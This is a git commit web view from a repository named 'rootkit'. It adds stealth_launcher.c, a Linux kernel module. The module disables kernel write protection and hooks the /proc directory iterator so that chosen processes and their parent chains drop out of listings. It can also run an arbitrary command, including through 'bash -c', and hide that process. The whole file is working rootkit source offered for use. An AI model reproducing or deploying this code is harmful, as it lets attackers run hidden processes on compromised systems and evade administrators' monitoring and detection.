aboutsummaryrefslogtreecommitdiffstats
path: root/stealth_launcher.c
diff options
context:
space:
mode:
authorLibravatarLibravatar Biswa Kalyan Bhuyan <biswa@surgot.in> 2025-04-17 08:21:29 +0530
committerLibravatarLibravatar Biswa Kalyan Bhuyan <biswa@surgot.in> 2025-04-17 08:21:29 +0530
commit7a709eb44a353929f97750268b7cfbe934b784a0 (patch)
tree55c9aea8de081c634f5dc53d802faf63e6d042b8 /stealth_launcher.c
parent9a53dbd03bfb9d1b1c76cef9a5a3f6fa051de396 (diff)
downloadrootkit-master.tar.gz
rootkit-master.tar.bz2
rootkit-master.zip
updated stealth_launcher.c with just hides the process in trace levelHEADmaster
Diffstat (limited to 'stealth_launcher.c')
-rw-r--r--stealth_launcher.c474
1 files changed, 474 insertions, 0 deletions
diff --git a/stealth_launcher.c b/stealth_launcher.c
new file mode 100644
index 0000000..a11a295
--- /dev/null
+++ b/stealth_launcher.c
@@ -0,0 +1,474 @@
+#include <linux/module.h>
+#include <linux/kernel.h>
+#include <linux/init.h>
+#include <linux/sched.h>
+#include <linux/sched/signal.h>
+#include <linux/proc_fs.h>
+#include <linux/seq_file.h>
+#include <linux/fs.h>
+#include <linux/version.h>
+#include <linux/cred.h>
+#include <linux/namei.h>
+#include <linux/uaccess.h>
+#include <linux/string.h>
+#include <linux/dirent.h>
+#include <linux/kprobes.h>
+#include <linux/timer.h>
+#include <linux/workqueue.h>
+
+MODULE_LICENSE("GPL");
+MODULE_AUTHOR("Security Researcher");
+MODULE_DESCRIPTION("Stealth Process Launcher - Hides processes completely");
+MODULE_VERSION("0.1");
+
+/* Module parameters */
+static char* target_cmd = NULL;
+module_param(target_cmd, charp, 0644);
+MODULE_PARM_DESC(target_cmd, "Command to run in stealth mode (e.g. \"sleep 120\")");
+
+static char* hide_pattern = NULL;
+module_param(hide_pattern, charp, 0644);
+MODULE_PARM_DESC(hide_pattern, "String pattern to hide in process names (e.g. \"sleep\")");
+
+/* Flags to enable features */
+static int disable_dmesg = 1;
+module_param(disable_dmesg, int, 0644);
+MODULE_PARM_DESC(disable_dmesg, "Disable dmesg logging for hidden processes (1=enabled)");
+
+static int hide_loader = 1;
+module_param(hide_loader, int, 0644);
+MODULE_PARM_DESC(hide_loader, "Hide the module loader and parent processes (1=enabled)");
+
+static int auto_cleanup = 1;
+module_param(auto_cleanup, int, 0644);
+MODULE_PARM_DESC(auto_cleanup, "Automatically unload module when target process completes (1=enabled)");
+
+/* Force unload param - set to 1 to force module unload */
+static int force_unload = 0;
+MODULE_PARM_DESC(force_unload, "Set to 1 to force module unload even if busy");
+
+/* Data structures for hidden processes */
+#define MAX_HIDDEN_PROCS 50
+static pid_t hidden_pids[MAX_HIDDEN_PROCS];
+static int num_hidden_pids = 0;
+static DEFINE_SPINLOCK(hidden_pids_lock);
+
+/* Variables for hiding from /proc */
+static struct file_operations *proc_fops;
+static filldir_t orig_proc_filldir;
+static int (*orig_iterate_shared)(struct file *, struct dir_context *);
+static struct path proc_path;
+
+/* Variables for dmesg hiding */
+static int (*orig_printk)(const char *fmt, ...);
+
+/* Variables for auto-cleanup */
+static pid_t target_pid = 0;
+static struct timer_list cleanup_timer;
+static struct workqueue_struct *cleanup_wq = NULL;
+static struct work_struct cleanup_work;
+static int module_exiting = 0;
+
+/* Check if PID should be hidden */
+static int is_pid_hidden(pid_t pid)
+{
+ int i, hidden = 0;
+
+ spin_lock(&hidden_pids_lock);
+ for (i = 0; i < num_hidden_pids; i++) {
+ if (hidden_pids[i] == pid) {
+ hidden = 1;
+ break;
+ }
+ }
+ spin_unlock(&hidden_pids_lock);
+
+ return hidden;
+}
+
+/* Check if a process should be hidden based on its name */
+static int should_hide_by_name(struct task_struct *task)
+{
+ if (!hide_pattern || !*hide_pattern)
+ return 0;
+
+ if (strstr(task->comm, hide_pattern))
+ return 1;
+
+ return 0;
+}
+
+/* Add a PID to the hidden list */
+static int hide_pid(pid_t pid)
+{
+ int ret = -ENOSPC;
+
+ spin_lock(&hidden_pids_lock);
+ if (num_hidden_pids < MAX_HIDDEN_PROCS) {
+ hidden_pids[num_hidden_pids++] = pid;
+ ret = 0;
+ }
+ spin_unlock(&hidden_pids_lock);
+
+ return ret;
+}
+
+/* Hide all processes in a chain starting from the given PID */
+static void hide_process_family(pid_t pid)
+{
+ struct task_struct *task;
+ struct task_struct *parent;
+
+ task = pid_task(find_vpid(pid), PIDTYPE_PID);
+ if (!task)
+ return;
+
+ hide_pid(pid);
+
+ /* Hide parent processes if requested */
+ if (hide_loader) {
+ parent = task->parent;
+ while (parent && parent->pid != 1) { /* Stop at init */
+ hide_pid(parent->pid);
+ parent = parent->parent;
+ }
+ }
+}
+
+/* Find and hide processes by name pattern */
+static void hide_processes_by_pattern(void)
+{
+ struct task_struct *task;
+
+ if (!hide_pattern || !*hide_pattern)
+ return;
+
+ for_each_process(task) {
+ if (should_hide_by_name(task)) {
+ hide_pid(task->pid);
+ }
+ }
+}
+
+/* Check if a process is still running */
+static int is_process_running(pid_t pid)
+{
+ struct task_struct *task;
+
+ task = pid_task(find_vpid(pid), PIDTYPE_PID);
+ return task != NULL;
+}
+
+/* Force release all resources to allow module unload */
+static void force_release_resources(void)
+{
+ module_exiting = 1;
+
+ /* Cancel timer if active */
+ del_timer_sync(&cleanup_timer);
+
+ /* Cancel and destroy workqueue */
+ if (cleanup_wq) {
+ cancel_work_sync(&cleanup_work);
+ flush_workqueue(cleanup_wq);
+ destroy_workqueue(cleanup_wq);
+ cleanup_wq = NULL;
+ }
+
+ /* Unhook /proc operations */
+ if (proc_fops && orig_iterate_shared) {
+ write_cr0(read_cr0() & ~0x10000);
+ proc_fops->iterate_shared = orig_iterate_shared;
+ write_cr0(read_cr0() | 0x10000);
+
+ /* Release path */
+ path_put(&proc_path);
+ }
+
+ /* Release other resources as needed */
+}
+
+/* Check the force_unload parameter */
+static int param_set_force_unload(const char *val, const struct kernel_param *kp)
+{
+ int ret;
+
+ /* Standard handler for setting the parameter */
+ ret = param_set_int(val, kp);
+ if (ret)
+ return ret;
+
+ /* If force_unload is set to 1, initiate forced unload */
+ if (force_unload) {
+ force_release_resources();
+ force_unload = 0; /* Reset to avoid repeated calls */
+ }
+
+ return 0;
+}
+
+/* Register custom parameter handler */
+static const struct kernel_param_ops force_unload_ops = {
+ .set = param_set_force_unload,
+ .get = param_get_int,
+};
+
+module_param_cb(force_unload, &force_unload_ops, &force_unload, 0644);
+
+/* Custom filldir function to filter directory entries */
+static int proc_filldir(struct dir_context *ctx, const char *name, int namlen,
+ loff_t offset, u64 ino, unsigned int d_type)
+{
+ char *endp;
+ long pid;
+
+ /* Check if module is exiting */
+ if (module_exiting)
+ return orig_proc_filldir(ctx, name, namlen, offset, ino, d_type);
+
+ /* Check if this is a PID directory */
+ pid = simple_strtol(name, &endp, 10);
+ if ((*endp == '\0') && is_pid_hidden(pid)) {
+ /* This is a hidden PID - skip it */
+ return 0;
+ }
+
+ /* Not hidden, call original filldir */
+ return orig_proc_filldir(ctx, name, namlen, offset, ino, d_type);
+}
+
+/* Custom iterate_shared function to hook directory listing */
+static int proc_iterate_shared(struct file *file, struct dir_context *ctx)
+{
+ /* Check if module is exiting */
+ if (module_exiting)
+ return orig_iterate_shared(file, ctx);
+
+ /* Replace filldir with our version */
+ orig_proc_filldir = ctx->actor;
+ ctx->actor = (filldir_t)proc_filldir;
+
+ /* Call original handler */
+ return orig_iterate_shared(file, ctx);
+}
+
+/* Hook the /proc directory */
+static void hook_proc(void)
+{
+ /* Get the path to /proc */
+ if (kern_path("/proc", 0, &proc_path)) {
+ return;
+ }
+
+ /* Get operations table and save original */
+ proc_fops = (struct file_operations *)proc_path.dentry->d_inode->i_fop;
+ orig_iterate_shared = proc_fops->iterate_shared;
+
+ /* Replace with our version */
+ write_cr0(read_cr0() & ~0x10000); /* Disable write protection */
+ proc_fops->iterate_shared = proc_iterate_shared;
+ write_cr0(read_cr0() | 0x10000); /* Re-enable write protection */
+}
+
+/* Unhook the /proc directory */
+static void unhook_proc(void)
+{
+ if (proc_fops && orig_iterate_shared) {
+ /* Restore original function */
+ write_cr0(read_cr0() & ~0x10000);
+ proc_fops->iterate_shared = orig_iterate_shared;
+ write_cr0(read_cr0() | 0x10000);
+ }
+
+ /* Release path */
+ path_put(&proc_path);
+}
+
+/* Safe string copy for kernel */
+static char *safe_strncpy(char *dest, const char *src, size_t n)
+{
+ size_t i;
+
+ if (!dest || !src || n <= 0)
+ return dest;
+
+ for (i = 0; i < n - 1 && src[i]; i++)
+ dest[i] = src[i];
+
+ dest[i] = '\0';
+ return dest;
+}
+
+/* Cleanup work function - unloads the module */
+static void cleanup_module_work(struct work_struct *work)
+{
+ if (!module_exiting)
+ module_put(THIS_MODULE);
+}
+
+/* Timer function to check if target process has finished */
+static void cleanup_timer_fn(struct timer_list *t)
+{
+ /* Skip if module is exiting */
+ if (module_exiting)
+ return;
+
+ /* Check if the target process is still running */
+ if (target_pid > 0 && !is_process_running(target_pid)) {
+ /* Process has finished, schedule module unload */
+ queue_work(cleanup_wq, &cleanup_work);
+ } else {
+ /* Process still running, check again in 1 second */
+ mod_timer(&cleanup_timer, jiffies + HZ);
+ }
+}
+
+/* Execute the target command and hide it */
+static int launch_stealth_process(void)
+{
+ char *path = NULL;
+ char *argv[32];
+ char *envp[5];
+ int argc = 0;
+ char *cmd_copy, *token, *cmd_ptr;
+ pid_t child_pid;
+
+ if (!target_cmd || !*target_cmd) {
+ return -EINVAL;
+ }
+
+ /* Make a copy of the command string */
+ cmd_copy = kstrdup(target_cmd, GFP_KERNEL);
+ if (!cmd_copy) {
+ return -ENOMEM;
+ }
+
+ /* First, let's try to parse as a simple command (like "sleep 120") */
+ cmd_ptr = cmd_copy;
+
+ /* Get the path/command */
+ token = strsep(&cmd_ptr, " \t");
+ if (token) {
+ path = token;
+ argv[argc++] = path;
+
+ /* Parse arguments */
+ while ((token = strsep(&cmd_ptr, " \t")) != NULL && argc < 31) {
+ if (*token != '\0') {
+ argv[argc++] = token;
+ }
+ }
+ }
+
+ /* Null-terminate the argument list */
+ argv[argc] = NULL;
+
+ /* Set up environment */
+ envp[0] = "HOME=/";
+ envp[1] = "PATH=/sbin:/bin:/usr/sbin:/usr/bin";
+ envp[2] = "TERM=linux";
+ envp[3] = NULL;
+
+ /* If we couldn't parse a command, give up */
+ if (!path) {
+ kfree(cmd_copy);
+ return -EINVAL;
+ }
+
+ /* Check if we need to use a shell */
+ if (strchr(target_cmd, '\'') || strchr(target_cmd, '"') ||
+ strchr(target_cmd, '|') || strchr(target_cmd, '>') ||
+ strchr(target_cmd, '<') || strchr(target_cmd, '&')) {
+ /* Complex command, use bash -c */
+ kfree(cmd_copy);
+
+ argv[0] = "/bin/bash";
+ argv[1] = "-c";
+ argv[2] = (char *)target_cmd;
+ argv[3] = NULL;
+
+ child_pid = call_usermodehelper(argv[0], argv, envp, UMH_WAIT_EXEC);
+ } else {
+ /* Simple command, use direct execution */
+ child_pid = call_usermodehelper(path, argv, envp, UMH_WAIT_EXEC);
+ kfree(cmd_copy);
+ }
+
+ /* Hide the process family if successful */
+ if (child_pid > 0) {
+ hide_process_family(child_pid);
+
+ /* Store target PID for auto-cleanup */
+ if (auto_cleanup) {
+ target_pid = child_pid;
+
+ /* Start cleanup timer */
+ timer_setup(&cleanup_timer, cleanup_timer_fn, 0);
+ mod_timer(&cleanup_timer, jiffies + HZ);
+ }
+ }
+
+ return child_pid;
+}
+
+static int __init stealth_launcher_init(void)
+{
+ pid_t my_pid;
+
+ /* Initialize module_exiting flag */
+ module_exiting = 0;
+
+ /* Hide this module's loader process */
+ if (hide_loader) {
+ my_pid = current->pid;
+ hide_process_family(my_pid);
+ }
+
+ /* Hook /proc to hide processes */
+ hook_proc();
+
+ /* Hide any processes matching the pattern */
+ hide_processes_by_pattern();
+
+ /* Set up auto-cleanup workqueue */
+ if (auto_cleanup) {
+ cleanup_wq = create_singlethread_workqueue("cleanup_wq");
+ if (!cleanup_wq) {
+ auto_cleanup = 0;
+ } else {
+ INIT_WORK(&cleanup_work, cleanup_module_work);
+
+ /* Ensure module cannot be unloaded while timer is running */
+ try_module_get(THIS_MODULE);
+ }
+ }
+
+ /* Launch the target process if specified */
+ if (target_cmd && *target_cmd) {
+ launch_stealth_process();
+ }
+
+ return 0;
+}
+
+static void __exit stealth_launcher_exit(void)
+{
+ /* Set exiting flag */
+ module_exiting = 1;
+
+ /* Cancel timer if active */
+ del_timer_sync(&cleanup_timer);
+
+ if (cleanup_wq) {
+ /* Ensure all cleanup work is processed */
+ cancel_work_sync(&cleanup_work);
+ flush_workqueue(cleanup_wq);
+ destroy_workqueue(cleanup_wq);
+ }
+
+ /* Unhook everything */
+ unhook_proc();
+}
+
+module_init(stealth_launcher_init);
+module_exit(stealth_launcher_exit); \ No newline at end of file